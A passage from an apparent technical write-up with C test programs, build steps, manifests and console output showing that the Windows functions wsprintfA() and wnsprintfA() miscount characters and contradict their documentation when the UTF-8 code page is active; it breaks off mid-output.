SET CL=/GAF /Gs8192 /Gy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk37.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk37.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk37.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk37.exe quirk37.obj kernel32.lib user32.lib
Execute the console application quirk37.exe
built in
step 2. to demonstrate the legacy behaviour:
.\quirk37.exe
wsprintfA() returned the correct string of 1023 '€' characters
Create the text file quirk37.xml
with the following
content next to the console application quirk37.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk37' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk37 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk37.xml
created in step 4. in the console
application quirk37.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk37.xml /OUTPUTRESOURCE:quirk37.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk37.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the (mis)behaviour:
VER .\quirk37.exe
Microsoft Windows [Version 10.0.22621.1105]
wsprintfA() returned 0
GetLastError() returned 123456789
OUCH¹: contrary to the first highlighted
statement of the documentation cited above, existing code but
fails when the
ANSI
code page is configured for
UTF-8!
OUCH²: contrary to the last highlighted
statement of the documentation cited above, the
wsprintfA()
function fails to set the Win32 error code!
wsprintfA()
is documented in the
MSDN as
follows:
Writes formatted data to the specified buffer. Any arguments are converted and copied to the output buffer according to the corresponding format specification in the format string. The function appends a terminating null character to the characters it writes, but the return value does not include the terminating null character in its character count.[…]
[…]int wsprintfA( LPSTR lpOut, LPCSTR lpFmt, ... );
If the function succeeds, the return value is the number of characters stored in the output buffer, not counting the terminating null character.
[…]
A format specification has the following form:
%[-][#][0][width][.precision]type
Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.
Field Meaning … … .precision […] For strings, copy the specified maximum number of characters to the output buffer.
Create the text file quirk38.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define CP1252 L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
DWORD dwWide;
CHAR szANSI[4];
UINT uiANSI;
CHAR szQuirk[4];
UINT uiQuirk;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
CP1252, sizeof(CP1252) / sizeof(*CP1252),
(LPSTR) NULL, 0,
(LPCCH) NULL, (LPBOOL) NULL) == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu\n",
dwError = GetLastError());
else
for (dwWide = 0; dwWide < sizeof(CP1252) / sizeof(*CP1252) - 1; dwWide++)
{
uiANSI = WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
CP1252 + dwWide, 1,
szANSI, sizeof(szANSI) - 1,
(LPCCH) NULL, (LPBOOL) NULL);
if (uiANSI == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for wide character U+%04hX\n",
dwError = GetLastError(), CP1252[dwWide]);
else
{
szANSI[uiANSI++] = '\0';
#if 0
uiQuirk = wsprintfA(szQuirk, "%lc", CP1252[dwWide]);
#else
uiQuirk = wsprintfA(szQuirk, "%.1ls", CP1252 + dwWide);
#endif
if (uiQuirk == 0)
PrintConsole(hConsole,
L"wsprintfA() returned error %lu for wide character \'%lc\' (U+%04hX)\n",
dwError = GetLastError(), CP1252[dwWide], CP1252[dwWide]);
else
{
if (uiQuirk > 1)
PrintConsole(hConsole,
L"wsprintfA() returned string \'%hs\' of %u characters for wide character \'%lc\' (U+%04hX)\n",
szQuirk, uiQuirk, CP1252[dwWide], CP1252[dwWide]);
if (memcmp(szQuirk, szANSI, uiANSI) != 0)
PrintConsole(hConsole,
L"wsprintfA() returned DIFFERENT string \'%hs\' of %u characters for wide character \'%lc\' (U+%04hX)\n",
szQuirk, uiQuirk, CP1252[dwWide], CP1252[dwWide]);
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk38.exe
from the
source file quirk38.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk38.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk38.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk38.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk38.exe quirk38.obj kernel32.lib user32.lib
Execute the console application quirk38.exe
built in
step 2. to demonstrate the legacy behaviour:
.\quirk38.exe
Create the text file quirk38.xml
with the following
content next to the console application quirk38.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk38' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk38 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk38.xml
created in step 4. in the console
application quirk38.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk38.xml /OUTPUTRESOURCE:quirk38.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk38.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the (mis)behaviour and prove the documentation cited
above wrong:
VER .\quirk38.exe
Microsoft Windows [Version 10.0.22621.1105] wsprintfA() returned string '€' of 3 characters for wide character '€' (U+20AC) wsprintfA() returned string '‚' of 3 characters for wide character '‚' (U+201A) wsprintfA() returned string 'ƒ' of 2 characters for wide character 'ƒ' (U+0192) wsprintfA() returned string '„' of 3 characters for wide character '„' (U+201E) wsprintfA() returned string '…' of 3 characters for wide character '…' (U+2026) wsprintfA() returned string '†' of 3 characters for wide character '†' (U+2020) wsprintfA() returned string '‡' of 3 characters for wide character '‡' (U+2021) wsprintfA() returned string 'ˆ' of 2 characters for wide character 'ˆ' (U+02C6) wsprintfA() returned string '‰' of 3 characters for wide character '‰' (U+2030) wsprintfA() returned string 'Š' of 2 characters for wide character 'Š' (U+0160) wsprintfA() returned string '‹' of 3 characters for wide character '‹' (U+2039) wsprintfA() returned string 'Œ' of 2 characters for wide character 'Œ' (U+0152) wsprintfA() returned string 'Ž' of 2 characters for wide character 'Ž' (U+017D) wsprintfA() returned string '‘' of 3 characters for wide character '‘' (U+2018) wsprintfA() returned string '’' of 3 characters for wide character '’' (U+2019) wsprintfA() returned string '“' of 3 characters for wide character '“' (U+201C) wsprintfA() returned string '”' of 3 characters for wide character '”' (U+201D) wsprintfA() returned string '•' of 3 characters for wide character '•' (U+2022) wsprintfA() returned string '–' of 3 characters for wide character '–' (U+2013) wsprintfA() returned string '—' of 3 characters for wide character '—' (U+2014) wsprintfA() returned string '˜' of 2 characters for wide character '˜' (U+02DC) wsprintfA() returned string '™' of 3 characters for wide character '™' (U+2122) wsprintfA() returned string 'š' of 2 characters for wide character 'š' (U+0161) wsprintfA() returned string '›' of 3 characters for wide character '›' (U+203A) wsprintfA() returned string 'œ' of 2 characters for wide character 'œ' (U+0153) wsprintfA() returned string 'ž' of 2 characters for wide character 'ž' (U+017E) wsprintfA() returned string 'Ÿ' of 2 characters for wide character 'Ÿ' (U+0178) wsprintfA() returned string ' ' of 2 characters for wide character ' ' (U+00A0) wsprintfA() returned string '¡' of 2 characters for wide character '¡' (U+00A1) wsprintfA() returned string '¢' of 2 characters for wide character '¢' (U+00A2) wsprintfA() returned string '£' of 2 characters for wide character '£' (U+00A3) wsprintfA() returned string '¤' of 2 characters for wide character '¤' (U+00A4) wsprintfA() returned string '¥' of 2 characters for wide character '¥' (U+00A5) wsprintfA() returned string '¦' of 2 characters for wide character '¦' (U+00A6) wsprintfA() returned string '§' of 2 characters for wide character '§' (U+00A7) wsprintfA() returned string '¨' of 2 characters for wide character '¨' (U+00A8) wsprintfA() returned string '©' of 2 characters for wide character '©' (U+00A9) wsprintfA() returned string 'ª' of 2 characters for wide character 'ª' (U+00AA) wsprintfA() returned string '«' of 2 characters for wide character '«' (U+00AB) wsprintfA() returned string '¬' of 2 characters for wide character '¬' (U+00AC) wsprintfA() returned string '' of 2 characters for wide character '' (U+00AD) wsprintfA() returned string '®' of 2 characters for wide character '®' (U+00AE) wsprintfA() returned string '¯' of 2 characters for wide character '¯' (U+00AF) wsprintfA() returned string '°' of 2 characters for wide character '°' (U+00B0) wsprintfA() returned string '±' of 2 characters for wide character '±' (U+00B1) wsprintfA() returned string '²' of 2 characters for wide character '²' (U+00B2) wsprintfA() returned string '³' of 2 characters for wide character '³' (U+00B3) wsprintfA() returned string '´' of 2 characters for wide character '´' (U+00B4) wsprintfA() returned string 'µ' of 2 characters for wide character 'µ' (U+00B5) wsprintfA() returned string '¶' of 2 characters for wide character '¶' (U+00B6) wsprintfA() returned string '·' of 2 characters for wide character '·' (U+00B7) wsprintfA() returned string '¸' of 2 characters for wide character '¸' (U+00B8) wsprintfA() returned string '¹' of 2 characters for wide character '¹' (U+00B9) wsprintfA() returned string 'º' of 2 characters for wide character 'º' (U+00BA) wsprintfA() returned string '»' of 2 characters for wide character '»' (U+00BB) wsprintfA() returned string '¼' of 2 characters for wide character '¼' (U+00BC) wsprintfA() returned string '½' of 2 characters for wide character '½' (U+00BD) wsprintfA() returned string '¾' of 2 characters for wide character '¾' (U+00BE) wsprintfA() returned string '¿' of 2 characters for wide character '¿' (U+00BF) wsprintfA() returned string 'À' of 2 characters for wide character 'À' (U+00C0) wsprintfA() returned string 'Á' of 2 characters for wide character 'Á' (U+00C1) wsprintfA() returned string 'Â' of 2 characters for wide character 'Â' (U+00C2) wsprintfA() returned string 'Ã' of 2 characters for wide character 'Ã' (U+00C3) wsprintfA() returned string 'Ä' of 2 characters for wide character 'Ä' (U+00C4) wsprintfA() returned string 'Å' of 2 characters for wide character 'Å' (U+00C5) wsprintfA() returned string 'Æ' of 2 characters for wide character 'Æ' (U+00C6) wsprintfA() returned string 'Ç' of 2 characters for wide character 'Ç' (U+00C7) wsprintfA() returned string 'È' of 2 characters for wide character 'È' (U+00C8) wsprintfA() returned string 'É' of 2 characters for wide character 'É' (U+00C9) wsprintfA() returned string 'Ê' of 2 characters for wide character 'Ê' (U+00CA) wsprintfA() returned string 'Ë' of 2 characters for wide character 'Ë' (U+00CB) wsprintfA() returned string 'Ì' of 2 characters for wide character 'Ì' (U+00CC) wsprintfA() returned string 'Í' of 2 characters for wide character 'Í' (U+00CD) wsprintfA() returned string 'Î' of 2 characters for wide character 'Î' (U+00CE) wsprintfA() returned string 'Ï' of 2 characters for wide character 'Ï' (U+00CF) wsprintfA() returned string 'Ð' of 2 characters for wide character 'Ð' (U+00D0) wsprintfA() returned string 'Ñ' of 2 characters for wide character 'Ñ' (U+00D1) wsprintfA() returned string 'Ò' of 2 characters for wide character 'Ò' (U+00D2) wsprintfA() returned string 'Ó' of 2 characters for wide character 'Ó' (U+00D3) wsprintfA() returned string 'Ô' of 2 characters for wide character 'Ô' (U+00D4) wsprintfA() returned string 'Õ' of 2 characters for wide character 'Õ' (U+00D5) wsprintfA() returned string 'Ö' of 2 characters for wide character 'Ö' (U+00D6) wsprintfA() returned string '×' of 2 characters for wide character '×' (U+00D7) wsprintfA() returned string 'Ø' of 2 characters for wide character 'Ø' (U+00D8) wsprintfA() returned string 'Ù' of 2 characters for wide character 'Ù' (U+00D9) wsprintfA() returned string 'Ú' of 2 characters for wide character 'Ú' (U+00DA) wsprintfA() returned string 'Û' of 2 characters for wide character 'Û' (U+00DB) wsprintfA() returned string 'Ü' of 2 characters for wide character 'Ü' (U+00DC) wsprintfA() returned string 'Ý' of 2 characters for wide character 'Ý' (U+00DD) wsprintfA() returned string 'Þ' of 2 characters for wide character 'Þ' (U+00DE) wsprintfA() returned string 'ß' of 2 characters for wide character 'ß' (U+00DF) wsprintfA() returned string 'à' of 2 characters for wide character 'à' (U+00E0) wsprintfA() returned string 'á' of 2 characters for wide character 'á' (U+00E1) wsprintfA() returned string 'â' of 2 characters for wide character 'â' (U+00E2) wsprintfA() returned string 'ã' of 2 characters for wide character 'ã' (U+00E3) wsprintfA() returned string 'ä' of 2 characters for wide character 'ä' (U+00E4) wsprintfA() returned string 'å' of 2 characters for wide character 'å' (U+00E5) wsprintfA() returned string 'æ' of 2 characters for wide character 'æ' (U+00E6) wsprintfA() returned string 'ç' of 2 characters for wide character 'ç' (U+00E7) wsprintfA() returned string 'è' of 2 characters for wide character 'è' (U+00E8) wsprintfA() returned string 'é' of 2 characters for wide character 'é' (U+00E9) wsprintfA() returned string 'ê' of 2 characters for wide character 'ê' (U+00EA) wsprintfA() returned string 'ë' of 2 characters for wide character 'ë' (U+00EB) wsprintfA() returned string 'ì' of 2 characters for wide character 'ì' (U+00EC) wsprintfA() returned string 'í' of 2 characters for wide character 'í' (U+00ED) wsprintfA() returned string 'î' of 2 characters for wide character 'î' (U+00EE) wsprintfA() returned string 'ï' of 2 characters for wide character 'ï' (U+00EF) wsprintfA() returned string 'ð' of 2 characters for wide character 'ð' (U+00F0) wsprintfA() returned string 'ñ' of 2 characters for wide character 'ñ' (U+00F1) wsprintfA() returned string 'ò' of 2 characters for wide character 'ò' (U+00F2) wsprintfA() returned string 'ó' of 2 characters for wide character 'ó' (U+00F3) wsprintfA() returned string 'ô' of 2 characters for wide character 'ô' (U+00F4) wsprintfA() returned string 'õ' of 2 characters for wide character 'õ' (U+00F5) wsprintfA() returned string 'ö' of 2 characters for wide character 'ö' (U+00F6) wsprintfA() returned string '÷' of 2 characters for wide character '÷' (U+00F7) wsprintfA() returned string 'ø' of 2 characters for wide character 'ø' (U+00F8) wsprintfA() returned string 'ù' of 2 characters for wide character 'ù' (U+00F9) wsprintfA() returned string 'ú' of 2 characters for wide character 'ú' (U+00FA) wsprintfA() returned string 'û' of 2 characters for wide character 'û' (U+00FB) wsprintfA() returned string 'ü' of 2 characters for wide character 'ü' (U+00FC) wsprintfA() returned string 'ý' of 2 characters for wide character 'ý' (U+00FD) wsprintfA() returned string 'þ' of 2 characters for wide character 'þ' (U+00FE) wsprintfA() returned string 'ÿ' of 2 characters for wide character 'ÿ' (U+00FF)OOPS: for each of the 123 wide characters from the string
CP1252
, the
wsprintfA()
function returns a character count greater 1, i.e. the documentation
cited above confuses character alias code point and
byte alias code unit!
wnsprintfA()
is documented in the
MSDN as
follows:
Takes a variable-length argument list and returns the values of the arguments as a printf-style formatted string.[…]
[…]int wnsprintfA( LPSTR pszDest, int cchDest, LPCSTR pszFmt, ... );
Returns the number of characters written to the buffer, excluding any terminating NULL characters. A negative value is returned if an error occurs.
[…]
This is a Windows version of sprintf. It does not support floating-point or pointer types. It supports only the left alignment flag.
Takes a list of arguments and returns the values of the arguments as a printf-style formatted string.The MSDN article Format Specification Syntax:[…]
int wnsprintfA( LPSTR pszDest, int cchDest, LPCSTR pszFmt, va_list arglist );
printf
and wprintf
Functions
specifies:
A conversion specification consists of optional and required fields in this form:Flag Directives printf Width Specification Precision Specification Size Specification printf Type Field Characters%[flags][width][.precision][size]type
[…]
The
type
character determines either the interpretation ofprecision
or the default precision whenprecision
is omitted, as shown in the following table.
Type Meaning Default … … s
,S
The precision specifies the maximum number of characters to be printed. Characters in excess of precision are not printed. Characters are printed until a null character is encountered.
Create the text file quirk39.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shlwapi.h>
#define CP1252 L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
INT niANSI;
CHAR szANSI[57];
DWORD dwWide;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
niANSI = wnsprintfA(szANSI, sizeof(szANSI),
"%+09d|% i|%#p|%-*.*ws|%#x",
GetACP(), GetOEMCP(), wmainCRTStartup, 7, 5, CP1252, 0xDEADBEEF);
if (niANSI < 0)
PrintConsole(hConsole,
L"wnsprintfA() returned %i\n",
niANSI);
else
PrintConsole(hConsole,
L"wnsprintfA() returned string \'%hs\' of %i characters\n",
szANSI, niANSI);
for (dwWide = 0; dwWide < sizeof(CP1252) / sizeof(*CP1252) - 1; dwWide++)
{
#if 0
niANSI = wnsprintfA(szANSI, sizeof(szANSI), "%lc", CP1252[dwWide]);
#else
niANSI = wnsprintfA(szANSI, sizeof(szANSI), "%.1ls", CP1252 + dwWide);
#endif
if (niANSI < 0)
PrintConsole(hConsole,
L"wnsprintfA() returned %i for wide character \'%lc\' (U+%04hX)\n",
CP1252[dwWide], CP1252[dwWide]);
else if (niANSI != 1)
PrintConsole(hConsole,
L"wnsprintfA() returned string \'%hs\' of %i characters for wide character \'%lc\' (U+%04hX)\n",
szANSI, niANSI, CP1252[dwWide], CP1252[dwWide]);
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk39.exe
from the
source file quirk39.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk39.c kernel32.lib shlwapi.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk39.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk39.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk39.exe quirk39.obj kernel32.lib shlwapi.lib user32.lib
Execute the console application quirk39.exe
built in
step 2. to demonstrate the legacy behaviour:
.\quirk39.exe
wnsprintfA() returned string '+00001252| 850|0X0111104E|€‚ƒ„… |0xdeadbeef' of 44 charactersOOPS¹: contrary to the second 2 highlighted statements of the documentation cited above, the
wnsprintfA()
function but supports the pointer type p
as well as the
flags +
, 0
,
(blank)
and #
!
Create the text file quirk39.xml
with the following
content next to the console application quirk39.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk39' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk39 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk39.xml
created in step 4. in the console
application quirk39.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk39.xml /OUTPUTRESOURCE:quirk39.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk39.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the (mis)behaviour and prove the documentation cited
above wrong:
VER .\quirk39.exe
Microsoft Windows [Version 10.0.22621.1105] wnsprintfA() returned string '+00065001| 65001|0X0017104E|€‚ƒ„… |0xdeadbeef' of 55 characters wnsprintfA() returned string '€' of 3 characters for wide character '€' (U+20AC) wnsprintfA() returned string '‚' of 3 characters for wide character '‚' (U+201A) wnsprintfA() returned string 'ƒ' of 2 characters for wide character 'ƒ' (U+0192) wnsprintfA() returned string '„' of 3 characters for wide character '„' (U+201E) wnsprintfA() returned string '…' of 3 characters for wide character '…' (U+2026) wnsprintfA() returned string '†' of 3 characters for wide character '†' (U+2020) wnsprintfA() returned string '‡' of 3 characters for wide character '‡' (U+2021) wnsprintfA() returned string 'ˆ' of 2 characters for wide character 'ˆ' (U+02C6) wnsprintfA() returned string '‰' of 3 characters for wide character '‰' (U+2030) wnsprintfA() returned string 'Š' of 2 characters for wide character 'Š' (U+0160) wnsprintfA() returned string '‹' of 3 characters for wide character '‹' (U+2039) wnsprintfA() returned string 'Œ' of 2 characters for wide character 'Œ' (U+0152) wnsprintfA() returned string 'Ž' of 2 characters for wide character 'Ž' (U+017D) wnsprintfA() returned string '‘' of 3 characters for wide character '‘' (U+2018) wnsprintfA() returned string '’' of 3 characters for wide character '’' (U+2019) wnsprintfA() returned string '“' of 3 characters for wide character '“' (U+201C) wnsprintfA() returned string '”' of 3 characters for wide character '”' (U+201D) wnsprintfA() returned string '•' of 3 characters for wide character '•' (U+2022) wnsprintfA() returned string '–' of 3 characters for wide character '–' (U+2013) wnsprintfA() returned string '—' of 3 characters for wide character '—' (U+2014) wnsprintfA() returned string '˜' of 2 characters for wide character '˜' (U+02DC) wnsprintfA() returned string '™' of 3 characters for wide character '™' (U+2122) wnsprintfA() returned string 'š' of 2 characters for wide character 'š' (U+0161) wnsprintfA() returned string '›' of 3 characters for wide character '›' (U+203A) wnsprintfA() returned string 'œ' of 2 characters for wide character 'œ' (U+0153) wnsprintfA() returned string 'ž' of 2 characters for wide character 'ž' (U+017E) wnsprintfA() returned string 'Ÿ' of 2 characters for wide character 'Ÿ' (U+0178) wnsprintfA() returned string ' ' of 2 characters for wide character ' ' (U+00A0) wnsprintfA() returned string '¡' of 2 characters for wide character '¡' (U+00A1) wnsprintfA() returned string '¢' of 2 characters for wide character '¢' (U+00A2) wnsprintfA() returned string '£' of 2 characters for wide character '£' (U+00A3) wnsprintfA() returned string '¤' of 2 characters for wide character '¤' (U+00A4) wnsprintfA() returned string '¥' of 2 characters for wide character '¥' (U+00A5) wnsprintfA() returned string '¦' of 2 characters for wide character '¦' (U+00A6) wnsprintfA() returned string '§' of 2 characters for wide character '§' (U+00A7) wnsprintfA() returned string '¨' of 2 characters for wide character '¨' (U+00A8) wnsprintfA() returned string '©' of 2 characters for wide character '©' (U+00A9) wnsprintfA() returned string 'ª' of 2 characters for wide character 'ª' (U+00AA) wnsprintfA() returned string '«' of 2 characters for wide character '«' (U+00AB) wnsprintfA() returned string '¬' of 2 characters for wide character '¬' (U+00AC) wnsprintfA() returned string '' of 2 characters for wide character '' (U+00AD) wnsprintfA() returned string '®' of 2 characters for wide character '®' (U+00AE) wnsprintfA() returned string '¯' of 2 characters for wide character '¯' (U+00AF) wnsprintfA() returned string '°' of 2 characters for wide character '°' (U+00B0) wnsprintfA() returned string '±' of 2 characters for wide character '±' (U+00B1) wnsprintfA() returned string '²' of 2 characters for wide character '²' (U+00B2) wnsprintfA() returned string '³' of 2 characters for wide character '³' (U+00B3) wnsprintfA() returned string '´' of 2 characters for wide character '´' (U+00B4) wnsprintfA() returned string 'µ' of 2 characters for wide character 'µ' (U+00B5) wnsprintfA() returned string '¶' of 2 characters for wide character '¶' (U+00B6) wnsprintfA() returned string '·' of 2 characters for wide character '·' (U+00B7) wnsprintfA() returned string '¸' of 2 characters for wide character '¸' (U+00B8) wnsprintfA() returned string '¹' of 2 characters for wide character '¹' (U+00B9) wnsprintfA() returned string 'º' of 2 characters for wide character 'º' (U+00BA) wnsprintfA() returned string '»' of 2 characters for wide character '»' (U+00BB) wnsprintfA() returned string '¼' of 2 characters for wide character '¼' (U+00BC) wnsprintfA() returned string '½' of 2 characters for wide character '½' (U+00BD) wnsprintfA() returned string '¾' of 2 characters for wide character '¾' (U+00BE) wnsprintfA() returned string '¿' of 2 characters for wide character '¿' (U+00BF) wnsprintfA() returned string 'À' of 2 characters for wide character 'À' (U+00C0) wnsprintfA() returned string 'Á' of 2 characters for wide character 'Á' (U+00C1) wnsprintfA() returned string 'Â' of 2 characters for wide character 'Â' (U+00C2) wnsprintfA() returned string 'Ã' of 2 characters for wide character 'Ã' (U+00C3) wnsprintfA() returned string 'Ä' of 2 characters for wide character 'Ä' (U+00C4) wnsprintfA() returned string 'Å' of 2 characters for wide character 'Å' (U+00C5) wnsprintfA() returned string 'Æ' of 2 characters for wide character 'Æ' (U+00C6) wnsprintfA() returned string 'Ç' of 2 characters for wide character 'Ç' (U+00C7) wnsprintfA() returned string 'È' of 2 characters for wide character 'È' (U+00C8) wnsprintfA() returned string 'É' of 2 characters for wide character 'É' (U+00C9) wnsprintfA() returned string 'Ê' of 2 characters for wide character 